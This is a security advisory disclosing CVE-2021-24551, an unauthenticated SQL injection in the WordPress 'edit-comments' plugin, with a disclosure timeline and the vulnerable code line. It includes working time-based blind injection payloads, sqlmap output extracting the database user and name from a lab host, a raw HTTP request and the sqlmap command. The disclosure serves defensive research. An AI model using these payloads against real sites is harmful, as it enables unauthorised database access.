

[Wp Plugin Edit Comments](#)

Plugin Details

Plugin Name: [wp-plugin:edit-comments](#)

Effected Version : 0.3 (and most probably lower version's if any)

Vulnerability : [Injection](#)

Minimum Level of Access Required : Unauthenticated

CVE Number : CVE-2021-24551

Identified by : [Shreya Pohekar](#)

[WPScan Reference URL](#)

Disclosure Timeline

- June 1, 2021: Issue Identified and Disclosed to WPScan
- June 2, 2021 : Plugin Closed
- July 20, 2021 : CVE Assigned
- July 23, 2021 : Public Disclosure

Technical Details

The edit comment functionality, available to unauthenticated users takes in GET parameter `jal_edit_comments` and inserts it into the SQL statement without proper sanitization, escaping or validation therefore leading to unauthenticated SQLi.

Vulnerable_code: [jal-edit-comments.php#L52](#)

```
52:          $jal_comment = $wpdb->get_row("SELECT comment_content, comment_author_IP, comment_date_gmt FROM $wpdb->comment
```

PoC Screenshot

```
GET parameter 'jal_edit_comments' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 86 HTTP(s) requests:
...
Parameter: jal_edit_comments (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: jal_edit_comments=4 AND (SELECT 9144 FROM (SELECT(SLEEP(5)))wJZD)
...
[22:12:00] [INFO] the back-end DBMS is MySQL
[22:12:00] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
[22:12:00] [INFO] fetching current user
[22:12:00] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[22:12:16] [INFO] adjusting time delay to 2 seconds due to good response times
bob@localhost
current user: 'bob@localhost'
[22:13:50] [INFO] fetching current database
[22:13:50] [INFO] retrieved: wp
current database: 'wp'
[22:14:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/172.28.128.50'
```

Exploit

```
GET /2021/03/02/hello-world/?jal_edit_comments=4 HTTP/1.1
Host: 172.28.128.50
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Referer: http://172.28.128.50/2021/03/02/hello-world/
Accept-Language: en-US,en;q=0.9
Connection: close
```

SQLmap command

```
sqlmap -r edit-comments.req --dbms mysql --current-user --current-db -b -p jal_edit_comments --batch
```

Steps to reproduce

1. Download and activate the plugin.

2. With the plugin you get a code for comments.php. Replace you theme's comment.php with the one obtained with the plugin. This will also change the look and feel of the comment section.
3. Now comment with any user.
4. Click the e button that comes alongside the posted comment. That helps you to edit the comment.
5. Paste this payload: `http://2021/03/02/hello-world.html?jal_edit_comments=7%20AND%20(SELECT%209114%20FROM%20(SELECT(SLEEP(5)))wjzD)`
6. You will experience a delay of 5 sec before the page is loaded and hence confirms the vulnerability.